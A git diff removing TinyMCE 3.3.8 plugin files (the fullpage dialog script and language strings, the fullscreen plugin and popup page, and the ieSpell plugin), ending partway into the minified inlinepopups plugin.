document.getElementById('stylesheet').style.width = '220px'; - - if (isVisible('link_href_browser')) - document.getElementById('element_link_href').style.width = '230px'; - - if (isVisible('bgimage_browser')) - document.getElementById('bgimage').style.width = '210px'; - - // Add iframe - dom.add(document.body, 'iframe', {id : 'documentIframe', src : 'javascript:""', style : {display : 'none'}}); - doc = dom.get('documentIframe').contentWindow.document; - h = tinyMCEPopup.getWindowArg('head_html'); - - // Preprocess the HTML disable scripts and urls - h = h.replace(/<script>/gi, '<script type="text/javascript">'); - h = h.replace(/type=([\"\'])?/gi, 'type=$1-mce-'); - h = h.replace(/(src=|href=)/g, '_mce_$1'); - - // Write in the content in the iframe - doc.write(h + '</body></html>'); - doc.close(); - - // Parse xml and doctype - xmlVer = getReItem(/<\?\s*?xml.*?version\s*?=\s*?"(.*?)".*?\?>/gi, h, 1); - xmlEnc = getReItem(/<\?\s*?xml.*?encoding\s*?=\s*?"(.*?)".*?\?>/gi, h, 1); - docType = getReItem(/<\!DOCTYPE.*?>/gi, h.replace(/\n/g, ''), 0).replace(/ +/g, ' '); - f.langcode.value = getReItem(/lang="(.*?)"/gi, h, 1); - - // Parse title - if (e = doc.getElementsByTagName('title')[0]) - el.metatitle.value = e.textContent || e.text; - - // Parse meta - tinymce.each(doc.getElementsByTagName('meta'), function(n) { - var na = (n.getAttribute('name', 2) || '').toLowerCase(), va = n.getAttribute('content', 2), eq = n.getAttribute('httpEquiv', 2) || ''; - - e = el['meta' + na]; - - if (na == 'robots') { - selectByValue(f, 'metarobots', tinymce.trim(va), true, true); - return; - } - - switch (eq.toLowerCase()) { - case "content-type": - tmp = getReItem(/charset\s*=\s*(.*)\s*/gi, va, 1); - - // Override XML encoding - if (tmp != "") - xmlEnc = tmp; - - return; - } - - if (e) - e.value = va; - }); - - selectByValue(f, 'doctypes', docType, true, true); - selectByValue(f, 'docencoding', xmlEnc, true, true); - selectByValue(f, 'langdir', doc.body.getAttribute('dir', 2) || '', true, true); - - if (xmlVer != '') - el.xml_pi.checked = true; - - // Parse appearance - - // Parse primary stylesheet - tinymce.each(doc.getElementsByTagName("link"), function(l) { - var m = l.getAttribute('media', 2) || '', t = l.getAttribute('type', 2) || ''; - - if (t == "-mce-text/css" && (m == "" || m == "screen" || m == "all") && (l.getAttribute('rel', 2) || '') == "stylesheet") { - f.stylesheet.value = l.getAttribute('_mce_href', 2) || ''; - return false; - } - }); - - // Get from style elements - tinymce.each(doc.getElementsByTagName("style"), function(st) { - var tmp = parseStyleElement(st); - - for (x=0; x<tmp.length; x++) { - if (tmp[x].rule.indexOf('a:visited') != -1 && tmp[x].data['color']) - f.visited_color.value = tmp[x].data['color']; - - if (tmp[x].rule.indexOf('a:link') != -1 && tmp[x].data['color']) - f.link_color.value = tmp[x].data['color']; - - if (tmp[x].rule.indexOf('a:active') != -1 && tmp[x].data['color']) - f.active_color.value = tmp[x].data['color']; - } - }); - - f.textcolor.value = tinyMCEPopup.dom.getAttrib(doc.body, "text"); - f.active_color.value = tinyMCEPopup.dom.getAttrib(doc.body, "alink"); - f.link_color.value = tinyMCEPopup.dom.getAttrib(doc.body, "link"); - f.visited_color.value = tinyMCEPopup.dom.getAttrib(doc.body, "vlink"); - f.bgcolor.value = tinyMCEPopup.dom.getAttrib(doc.body, "bgcolor"); - f.bgimage.value = tinyMCEPopup.dom.getAttrib(doc.body, "background"); - - // Get from style info - style = tinyMCEPopup.dom.parseStyle(tinyMCEPopup.dom.getAttrib(doc.body, 'style')); - - if (style['font-family']) - selectByValue(f, 'fontface', style['font-family'], true, true); - else - selectByValue(f, 'fontface', ed.getParam("fullpage_default_fontface", ""), true, true); - - if (style['font-size']) - selectByValue(f, 'fontsize', style['font-size'], true, true); - else - selectByValue(f, 'fontsize', ed.getParam("fullpage_default_fontsize", ""), true, true); - - if (style['color']) - f.textcolor.value = convertRGBToHex(style['color']); - - if (style['background-image']) - f.bgimage.value = style['background-image'].replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); - - if (style['background-color']) - f.bgcolor.value = style['background-color']; - - if (style['margin']) { - tmp = style['margin'].replace(/[^0-9 ]/g, ''); - tmp = tmp.split(/ +/); - f.topmargin.value = tmp.length > 0 ? tmp[0] : ''; - f.rightmargin.value = tmp.length > 1 ? tmp[1] : tmp[0]; - f.bottommargin.value = tmp.length > 2 ? tmp[2] : tmp[0]; - f.leftmargin.value = tmp.length > 3 ? tmp[3] : tmp[0]; - } - - if (style['margin-left']) - f.leftmargin.value = style['margin-left'].replace(/[^0-9]/g, ''); - - if (style['margin-right']) - f.rightmargin.value = style['margin-right'].replace(/[^0-9]/g, ''); - - if (style['margin-top']) - f.topmargin.value = style['margin-top'].replace(/[^0-9]/g, ''); - - if (style['margin-bottom']) - f.bottommargin.value = style['margin-bottom'].replace(/[^0-9]/g, ''); - - f.style.value = tinyMCEPopup.dom.serializeStyle(style); - - // Update colors - updateColor('textcolor_pick', 'textcolor'); - updateColor('bgcolor_pick', 'bgcolor'); - updateColor('visited_color_pick', 'visited_color'); - updateColor('active_color_pick', 'active_color'); - updateColor('link_color_pick', 'link_color'); -} - -function getReItem(r, s, i) { - var c = r.exec(s); - - if (c && c.length > i) - return c[i]; - - return ''; -} - -function updateAction() { - var f = document.forms[0], nl, i, h, v, s, head, html, l, tmp, addlink = true, ser; - - head = doc.getElementsByTagName('head')[0]; - - // Fix scripts without a type - nl = doc.getElementsByTagName('script'); - for (i=0; i<nl.length; i++) { - if (tinyMCEPopup.dom.getAttrib(nl[i], '_mce_type') == '') - nl[i].setAttribute('_mce_type', 'text/javascript'); - } - - // Get primary stylesheet - nl = doc.getElementsByTagName("link"); - for (i=0; i<nl.length; i++) { - l = nl[i]; - - tmp = tinyMCEPopup.dom.getAttrib(l, 'media'); - - if (tinyMCEPopup.dom.getAttrib(l, '_mce_type') == "text/css" && (tmp == "" || tmp == "screen" || tmp == "all") && tinyMCEPopup.dom.getAttrib(l, 'rel') == "stylesheet") { - addlink = false; - - if (f.stylesheet.value == '') - l.parentNode.removeChild(l); - else - l.setAttribute('_mce_href', f.stylesheet.value); - - break; - } - } - - // Add new link - if (f.stylesheet.value != '') { - l = doc.createElement('link'); - - l.setAttribute('type', 'text/css'); - l.setAttribute('_mce_href', f.stylesheet.value); - l.setAttribute('rel', 'stylesheet'); - - head.appendChild(l); - } - - setMeta(head, 'keywords', f.metakeywords.value); - setMeta(head, 'description', f.metadescription.value); - setMeta(head, 'author', f.metaauthor.value); - setMeta(head, 'copyright', f.metacopyright.value); - setMeta(head, 'robots', getSelectValue(f, 'metarobots')); - setMeta(head, 'Content-Type', getSelectValue(f, 'docencoding')); - - doc.body.dir = getSelectValue(f, 'langdir'); - doc.body.style.cssText = f.style.value; - - doc.body.setAttribute('vLink', f.visited_color.value); - doc.body.setAttribute('link', f.link_color.value); - doc.body.setAttribute('text', f.textcolor.value); - doc.body.setAttribute('aLink', f.active_color.value); - - doc.body.style.fontFamily = getSelectValue(f, 'fontface'); - doc.body.style.fontSize = getSelectValue(f, 'fontsize'); - doc.body.style.backgroundColor = f.bgcolor.value; - - if (f.leftmargin.value != '') - doc.body.style.marginLeft = f.leftmargin.value + 'px'; - - if (f.rightmargin.value != '') - doc.body.style.marginRight = f.rightmargin.value + 'px'; - - if (f.bottommargin.value != '') - doc.body.style.marginBottom = f.bottommargin.value + 'px'; - - if (f.topmargin.value != '') - doc.body.style.marginTop = f.topmargin.value + 'px'; - - html = doc.getElementsByTagName('html')[0]; - html.setAttribute('lang', f.langcode.value); - html.setAttribute('xml:lang', f.langcode.value); - - if (f.bgimage.value != '') - doc.body.style.backgroundImage = "url('" + f.bgimage.value + "')"; - else - doc.body.style.backgroundImage = ''; - - ser = tinyMCEPopup.editor.plugins.fullpage._createSerializer(); - ser.setRules('-title,meta[http-equiv|name|content],base[href|target],link[href|rel|type|title|media],style[type],script[type|language|src],html[lang|xml::lang|xmlns],body[style|dir|vlink|link|text|alink],head'); - - h = ser.serialize(doc.documentElement); - h = h.substring(0, h.lastIndexOf('</body>')); - - if (h.indexOf('<title>') == -1) - h = h.replace(/<head.*?>/, '$&\n' + '<title>' + tinyMCEPopup.dom.encode(f.metatitle.value) + '</title>'); - else - h = h.replace(/<title>(.*?)<\/title>/, '<title>' + tinyMCEPopup.dom.encode(f.metatitle.value) + '</title>'); - - if ((v = getSelectValue(f, 'doctypes')) != '') - h = v + '\n' + h; - - if (f.xml_pi.checked) { - s = '<?xml version="1.0"'; - - if ((v = getSelectValue(f, 'docencoding')) != '') - s += ' encoding="' + v + '"'; - - s += '?>\n'; - h = s + h; - } - - h = h.replace(/type=\"\-mce\-/gi, 'type="'); - - tinyMCEPopup.editor.plugins.fullpage.head = h; - tinyMCEPopup.editor.plugins.fullpage._setBodyAttribs(tinyMCEPopup.editor, {}); - tinyMCEPopup.close(); -} - -function changedStyleField(field) { -} - -function setMeta(he, k, v) { - var nl, i, m; - - nl = he.getElementsByTagName('meta'); - for (i=0; i<nl.length; i++) { - if (k == 'Content-Type' && tinyMCEPopup.dom.getAttrib(nl[i], 'http-equiv') == k) { - if (v == '') - nl[i].parentNode.removeChild(nl[i]); - else - nl[i].setAttribute('content', "text/html; charset=" + v); - - return; - } - - if (tinyMCEPopup.dom.getAttrib(nl[i], 'name') == k) { - if (v == '') - nl[i].parentNode.removeChild(nl[i]); - else - nl[i].setAttribute('content', v); - return; - } - } - - if (v == '') - return; - - m = doc.createElement('meta'); - - if (k == 'Content-Type') - m.httpEquiv = k; - else - m.setAttribute('name', k); - - m.setAttribute('content', v); - he.appendChild(m); -} - -function parseStyleElement(e) { - var v = e.innerHTML; - var p, i, r; - - v = v.replace(/<!--/gi, ''); - v = v.replace(/-->/gi, ''); - v = v.replace(/[\n\r]/gi, ''); - v = v.replace(/\s+/gi, ' '); - - r = []; - p = v.split(/{|}/); - - for (i=0; i<p.length; i+=2) { - if (p[i] != "") - r[r.length] = {rule : tinymce.trim(p[i]), data : tinyMCEPopup.dom.parseStyle(p[i+1])}; - } - - return r; -} - -function serializeStyleElement(d) { - var i, s, st; - - s = '<!--\n'; - - for (i=0; i<d.length; i++) { - s += d[i].rule + ' {\n'; - - st = tinyMCE.serializeStyle(d[i].data); - - if (st != '') - st += ';'; - - s += st.replace(/;/g, ';\n'); - s += '}\n'; - - if (i != d.length - 1) - s += '\n'; - } - - s += '\n-->'; - - return s; -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/langs/en_dlg.js deleted file mode 100644 index f5801b8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/langs/en_dlg.js +++ /dev/null @@ -1,85 +0,0 @@ -tinyMCE.addI18n('en.fullpage_dlg',{ -title:"Document properties", -meta_tab:"General", -appearance_tab:"Appearance", -advanced_tab:"Advanced", -meta_props:"Meta information", -langprops:"Language and encoding", -meta_title:"Title", -meta_keywords:"Keywords", -meta_description:"Description", -meta_robots:"Robots", -doctypes:"Doctype", -langcode:"Language code", -langdir:"Language direction", -ltr:"Left to right", -rtl:"Right to left", -xml_pi:"XML declaration", -encoding:"Character encoding", -appearance_bgprops:"Background properties", -appearance_marginprops:"Body margins", -appearance_linkprops:"Link colors", -appearance_textprops:"Text properties", -bgcolor:"Background color", -bgimage:"Background image", -left_margin:"Left margin", -right_margin:"Right margin", -top_margin:"Top margin", -bottom_margin:"Bottom margin", -text_color:"Text color", -font_size:"Font size", -font_face:"Font face", -link_color:"Link color", -hover_color:"Hover color", -visited_color:"Visited color", -active_color:"Active color", -textcolor:"Color", -fontsize:"Font size", -fontface:"Font family", -meta_index_follow:"Index and follow the links", -meta_index_nofollow:"Index and don't follow the links", -meta_noindex_follow:"Do not index but follow the links", -meta_noindex_nofollow:"Do not index and don\'t follow the links", -appearance_style:"Stylesheet and style properties", -stylesheet:"Stylesheet", -style:"Style", -author:"Author", -copyright:"Copyright", -add:"Add new element", -remove:"Remove selected element", -moveup:"Move selected element up", -movedown:"Move selected element down", -head_elements:"Head elements", -info:"Information", -add_title:"Title element", -add_meta:"Meta element", -add_script:"Script element", -add_style:"Style element", -add_link:"Link element", -add_base:"Base element", -add_comment:"Comment node", -title_element:"Title element", -script_element:"Script element", -style_element:"Style element", -base_element:"Base element", -link_element:"Link element", -meta_element:"Meta element", -comment_element:"Comment", -src:"Src", -language:"Language", -href:"Href", -target:"Target", -type:"Type", -charset:"Charset", -defer:"Defer", -media:"Media", -properties:"Properties", -name:"Name", -value:"Value", -content:"Content", -rel:"Rel", -rev:"Rev", -hreflang:"Href lang", -general_props:"General", -advanced_props:"Advanced" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/editor_plugin.js deleted file mode 100644 index 4437bd2..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var a=tinymce.DOM;tinymce.create("tinymce.plugins.FullScreenPlugin",{init:function(c,d){var e=this,f={},b;e.editor=c;c.addCommand("mceFullScreen",function(){var h,i=a.doc.documentElement;if(c.getParam("fullscreen_is_enabled")){if(c.getParam("fullscreen_new_window")){closeFullscreen()}else{a.win.setTimeout(function(){tinymce.dom.Event.remove(a.win,"resize",e.resizeFunc);tinyMCE.get(c.getParam("fullscreen_editor_id")).setContent(c.getContent({format:"raw"}),{format:"raw"});tinyMCE.remove(c);a.remove("mce_fullscreen_container");i.style.overflow=c.getParam("fullscreen_html_overflow");a.setStyle(a.doc.body,"overflow",c.getParam("fullscreen_overflow"));a.win.scrollTo(c.getParam("fullscreen_scrollx"),c.getParam("fullscreen_scrolly"));tinyMCE.settings=tinyMCE.oldSettings},10)}return}if(c.getParam("fullscreen_new_window")){h=a.win.open(d+"/fullscreen.htm","mceFullScreenPopup","fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=yes,left=0,top=0,width="+screen.availWidth+",height="+screen.availHeight);try{h.resizeTo(screen.availWidth,screen.availHeight)}catch(g){}}else{tinyMCE.oldSettings=tinyMCE.settings;f.fullscreen_overflow=a.getStyle(a.doc.body,"overflow",1)||"auto";f.fullscreen_html_overflow=a.getStyle(i,"overflow",1);b=a.getViewPort();f.fullscreen_scrollx=b.x;f.fullscreen_scrolly=b.y;if(tinymce.isOpera&&f.fullscreen_overflow=="visible"){f.fullscreen_overflow="auto"}if(tinymce.isIE&&f.fullscreen_overflow=="scroll"){f.fullscreen_overflow="auto"}if(tinymce.isIE&&(f.fullscreen_html_overflow=="visible"||f.fullscreen_html_overflow=="scroll")){f.fullscreen_html_overflow="auto"}if(f.fullscreen_overflow=="0px"){f.fullscreen_overflow=""}a.setStyle(a.doc.body,"overflow","hidden");i.style.overflow="hidden";b=a.getViewPort();a.win.scrollTo(0,0);if(tinymce.isIE){b.h-=1}n=a.add(a.doc.body,"div",{id:"mce_fullscreen_container",style:"position:"+(tinymce.isIE6||(tinymce.isIE&&!a.boxModel)?"absolute":"fixed")+";top:0;left:0;width:"+b.w+"px;height:"+b.h+"px;z-index:200000;"});a.add(n,"div",{id:"mce_fullscreen"});tinymce.each(c.settings,function(j,k){f[k]=j});f.id="mce_fullscreen";f.width=n.clientWidth;f.height=n.clientHeight-15;f.fullscreen_is_enabled=true;f.fullscreen_editor_id=c.id;f.theme_advanced_resizing=false;f.save_onsavecallback=function(){c.setContent(tinyMCE.get(f.id).getContent({format:"raw"}),{format:"raw"});c.execCommand("mceSave")};tinymce.each(c.getParam("fullscreen_settings"),function(l,j){f[j]=l});if(f.theme_advanced_toolbar_location==="external"){f.theme_advanced_toolbar_location="top"}e.fullscreenEditor=new tinymce.Editor("mce_fullscreen",f);e.fullscreenEditor.onInit.add(function(){e.fullscreenEditor.setContent(c.getContent());e.fullscreenEditor.focus()});e.fullscreenEditor.render();e.fullscreenElement=new tinymce.dom.Element("mce_fullscreen_container");e.fullscreenElement.update();e.resizeFunc=tinymce.dom.Event.add(a.win,"resize",function(){var m=tinymce.DOM.getViewPort(),k=e.fullscreenEditor,j,l;j=k.dom.getSize(k.getContainer().firstChild);l=k.dom.getSize(k.getContainer().getElementsByTagName("iframe")[0]);k.theme.resizeTo(m.w-j.w+l.w,m.h-j.h+l.h)})}});c.addButton("fullscreen",{title:"fullscreen.desc",cmd:"mceFullScreen"});c.onNodeChange.add(function(h,g){g.setActive("fullscreen",h.getParam("fullscreen_is_enabled"))})},getInfo:function(){return{longname:"Fullscreen",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullscreen",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("fullscreen",tinymce.plugins.FullScreenPlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/editor_plugin_src.js deleted file mode 100644 index 0efd9bb..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/editor_plugin_src.js +++ /dev/null @@ -1,151 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var DOM = tinymce.DOM; - - tinymce.create('tinymce.plugins.FullScreenPlugin', { - init : function(ed, url) { - var t = this, s = {}, vp; - - t.editor = ed; - - // Register commands - ed.addCommand('mceFullScreen', function() { - var win, de = DOM.doc.documentElement; - - if (ed.getParam('fullscreen_is_enabled')) { - if (ed.getParam('fullscreen_new_window')) - closeFullscreen(); // Call to close in new window - else { - DOM.win.setTimeout(function() { - tinymce.dom.Event.remove(DOM.win, 'resize', t.resizeFunc); - tinyMCE.get(ed.getParam('fullscreen_editor_id')).setContent(ed.getContent({format : 'raw'}), {format : 'raw'}); - tinyMCE.remove(ed); - DOM.remove('mce_fullscreen_container'); - de.style.overflow = ed.getParam('fullscreen_html_overflow'); - DOM.setStyle(DOM.doc.body, 'overflow', ed.getParam('fullscreen_overflow')); - DOM.win.scrollTo(ed.getParam('fullscreen_scrollx'), ed.getParam('fullscreen_scrolly')); - tinyMCE.settings = tinyMCE.oldSettings; // Restore old settings - }, 10); - } - - return; - } - - if (ed.getParam('fullscreen_new_window')) { - win = DOM.win.open(url + "/fullscreen.htm", "mceFullScreenPopup", "fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=yes,left=0,top=0,width=" + screen.availWidth + ",height=" + screen.availHeight); - try { - win.resizeTo(screen.availWidth, screen.availHeight); - } catch (e) { - // Ignore - } - } else { - tinyMCE.oldSettings = tinyMCE.settings; // Store old settings - s.fullscreen_overflow = DOM.getStyle(DOM.doc.body, 'overflow', 1) || 'auto'; - s.fullscreen_html_overflow = DOM.getStyle(de, 'overflow', 1); - vp = DOM.getViewPort(); - s.fullscreen_scrollx = vp.x; - s.fullscreen_scrolly = vp.y; - - // Fixes an Opera bug where the scrollbars doesn't reappear - if (tinymce.isOpera && s.fullscreen_overflow == 'visible') - s.fullscreen_overflow = 'auto'; - - // Fixes an IE bug where horizontal scrollbars would appear - if (tinymce.isIE && s.fullscreen_overflow == 'scroll') - s.fullscreen_overflow = 'auto'; - - // Fixes an IE bug where the scrollbars doesn't reappear - if (tinymce.isIE && (s.fullscreen_html_overflow == 'visible' || s.fullscreen_html_overflow == 'scroll')) - s.fullscreen_html_overflow = 'auto'; - - if (s.fullscreen_overflow == '0px') - s.fullscreen_overflow = ''; - - DOM.setStyle(DOM.doc.body, 'overflow', 'hidden'); - de.style.overflow = 'hidden'; //Fix for IE6/7 - vp = DOM.getViewPort(); - DOM.win.scrollTo(0, 0); - - if (tinymce.isIE) - vp.h -= 1; - - n = DOM.add(DOM.doc.body, 'div', {id : 'mce_fullscreen_container', style : 'position:' + (tinymce.isIE6 || (tinymce.isIE && !DOM.boxModel) ? 'absolute' : 'fixed') + ';top:0;left:0;width:' + vp.w + 'px;height:' + vp.h + 'px;z-index:200000;'}); - DOM.add(n, 'div', {id : 'mce_fullscreen'}); - - tinymce.each(ed.settings, function(v, n) { - s[n] = v; - }); - - s.id = 'mce_fullscreen'; - s.width = n.clientWidth; - s.height = n.clientHeight - 15; - s.fullscreen_is_enabled = true; - s.fullscreen_editor_id = ed.id; - s.theme_advanced_resizing = false; - s.save_onsavecallback = function() { - ed.setContent(tinyMCE.get(s.id).getContent({format : 'raw'}), {format : 'raw'}); - ed.execCommand('mceSave'); - }; - - tinymce.each(ed.getParam('fullscreen_settings'), function(v, k) { - s[k] = v; - }); - - if (s.theme_advanced_toolbar_location === 'external') - s.theme_advanced_toolbar_location = 'top'; - - t.fullscreenEditor = new tinymce.Editor('mce_fullscreen', s); - t.fullscreenEditor.onInit.add(function() { - t.fullscreenEditor.setContent(ed.getContent()); - t.fullscreenEditor.focus(); - }); - - t.fullscreenEditor.render(); - - t.fullscreenElement = new tinymce.dom.Element('mce_fullscreen_container'); - t.fullscreenElement.update(); - //document.body.overflow = 'hidden'; - - t.resizeFunc = tinymce.dom.Event.add(DOM.win, 'resize', function() { - var vp = tinymce.DOM.getViewPort(), fed = t.fullscreenEditor, outerSize, innerSize; - - // Get outer/inner size to get a delta size that can be used to calc the new iframe size - outerSize = fed.dom.getSize(fed.getContainer().firstChild); - innerSize = fed.dom.getSize(fed.getContainer().getElementsByTagName('iframe')[0]); - - fed.theme.resizeTo(vp.w - outerSize.w + innerSize.w, vp.h - outerSize.h + innerSize.h); - }); - } - }); - - // Register buttons - ed.addButton('fullscreen', {title : 'fullscreen.desc', cmd : 'mceFullScreen'}); - - ed.onNodeChange.add(function(ed, cm) { - cm.setActive('fullscreen', ed.getParam('fullscreen_is_enabled')); - }); - }, - - getInfo : function() { - return { - longname : 'Fullscreen', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullscreen', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('fullscreen', tinymce.plugins.FullScreenPlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/fullscreen.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/fullscreen.htm deleted file mode 100644 index 4c4f27e..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullscreen/fullscreen.htm +++ /dev/null @@ -1,109 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title></title> - <script type="text/javascript" src="../../tiny_mce.js"></script> - <script type="text/javascript"> - function patchCallback(settings, key) { - if (settings[key]) - settings[key] = "window.opener." + settings[key]; - } - - var settings = {}, paSe = window.opener.tinyMCE.activeEditor.settings, oeID = window.opener.tinyMCE.activeEditor.id; - - // Clone array - for (var n in paSe) - settings[n] = paSe[n]; - - // Override options for fullscreen - for (var n in paSe.fullscreen_settings) - settings[n] = paSe.fullscreen_settings[n]; - - // Patch callbacks, make them point to window.opener - patchCallback(settings, 'urlconverter_callback'); - patchCallback(settings, 'insertlink_callback'); - patchCallback(settings, 'insertimage_callback'); - patchCallback(settings, 'setupcontent_callback'); - patchCallback(settings, 'save_callback'); - patchCallback(settings, 'onchange_callback'); - patchCallback(settings, 'init_instance_callback'); - patchCallback(settings, 'file_browser_callback'); - patchCallback(settings, 'cleanup_callback'); - patchCallback(settings, 'execcommand_callback'); - patchCallback(settings, 'oninit'); - - // Set options - delete settings.id; - settings['mode'] = 'exact'; - settings['elements'] = 'fullscreenarea'; - settings['add_unload_trigger'] = false; - settings['ask'] = false; - settings['document_base_url'] = window.opener.tinyMCE.activeEditor.documentBaseURI.getURI(); - settings['fullscreen_is_enabled'] = true; - settings['fullscreen_editor_id'] = oeID; - settings['theme_advanced_resizing'] = false; - settings['strict_loading_mode'] = true; - - settings.save_onsavecallback = function() { - window.opener.tinyMCE.get(oeID).setContent(tinyMCE.get('fullscreenarea').getContent({format : 'raw'}), {format : 'raw'}); - window.opener.tinyMCE.get(oeID).execCommand('mceSave'); - window.close(); - }; - - function unloadHandler(e) { - moveContent(); - } - - function moveContent() { - window.opener.tinyMCE.get(oeID).setContent(tinyMCE.activeEditor.getContent()); - } - - function closeFullscreen() { - moveContent(); - window.close(); - } - - function doParentSubmit() { - moveContent(); - - if (window.opener.tinyMCE.selectedInstance.formElement.form) - window.opener.tinyMCE.selectedInstance.formElement.form.submit(); - - window.close(); - - return false; - } - - function render() { - var e = document.getElementById('fullscreenarea'), vp, ed, ow, oh, dom = tinymce.DOM; - - e.value = window.opener.tinyMCE.get(oeID).getContent(); - - vp = dom.getViewPort(); - settings.width = vp.w; - settings.height = vp.h - 15; - - tinymce.dom.Event.add(window, 'resize', function() { - var vp = dom.getViewPort(); - - tinyMCE.activeEditor.theme.resizeTo(vp.w, vp.h); - }); - - tinyMCE.init(settings); - } - - // Add onunload - tinymce.dom.Event.add(window, "beforeunload", unloadHandler); - </script> -</head> -<body style="margin:0;overflow:hidden;width:100%;height:100%" scrolling="no" scroll="no"> -<form onsubmit="doParentSubmit();"> -<textarea id="fullscreenarea" style="width:100%; height:100%"></textarea> -</form> - -<script type="text/javascript"> - render(); -</script> - -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/iespell/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/iespell/editor_plugin.js deleted file mode 100644 index e9cba10..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/iespell/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.IESpell",{init:function(a,b){var c=this,d;if(!tinymce.isIE){return}c.editor=a;a.addCommand("mceIESpell",function(){try{d=new ActiveXObject("ieSpell.ieSpellExtension");d.CheckDocumentNode(a.getDoc().documentElement)}catch(f){if(f.number==-2146827859){a.windowManager.confirm(a.getLang("iespell.download"),function(e){if(e){window.open("http://www.iespell.com/download.php","ieSpellDownload","")}})}else{a.windowManager.alert("Error Loading ieSpell: Exception "+f.number)}}});a.addButton("iespell",{title:"iespell.iespell_desc",cmd:"mceIESpell"})},getInfo:function(){return{longname:"IESpell (IE Only)",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/iespell",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("iespell",tinymce.plugins.IESpell)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/iespell/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/iespell/editor_plugin_src.js deleted file mode 100644 index 1b2bb98..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/iespell/editor_plugin_src.js +++ /dev/null @@ -1,54 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.IESpell', { - init : function(ed, url) { - var t = this, sp; - - if (!tinymce.isIE) - return; - - t.editor = ed; - - // Register commands - ed.addCommand('mceIESpell', function() { - try { - sp = new ActiveXObject("ieSpell.ieSpellExtension"); - sp.CheckDocumentNode(ed.getDoc().documentElement); - } catch (e) { - if (e.number == -2146827859) { - ed.windowManager.confirm(ed.getLang("iespell.download"), function(s) { - if (s) - window.open('http://www.iespell.com/download.php', 'ieSpellDownload', ''); - }); - } else - ed.windowManager.alert("Error Loading ieSpell: Exception " + e.number); - } - }); - - // Register buttons - ed.addButton('iespell', {title : 'iespell.iespell_desc', cmd : 'mceIESpell'}); - }, - - getInfo : function() { - return { - longname : 'IESpell (IE Only)', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/iespell', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('iespell', tinymce.plugins.IESpell); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin.js deleted file mode 100644 index 07ea477..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var d=tinymce.DOM,b=tinymce.dom.Element,a=tinymce.dom.Event,e=tinymce.each,c=tinymce.is;tinymce.create("tinymce.plugins.InlinePopups",{init:function(f,g){f.onBeforeRenderUI.add(function(){f.windowManager=new tinymce.InlineWindowManager(f);d.loadCSS(g+"/skins/"+(f.settings.inlinepopups_skin||"clearlooks2")+"/window.css")})},getInfo:function(){return{longname:"InlinePopups",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.create("tinymce.InlineWindowManager:tinymce.WindowManager",{InlineWindowManager:function(f){var 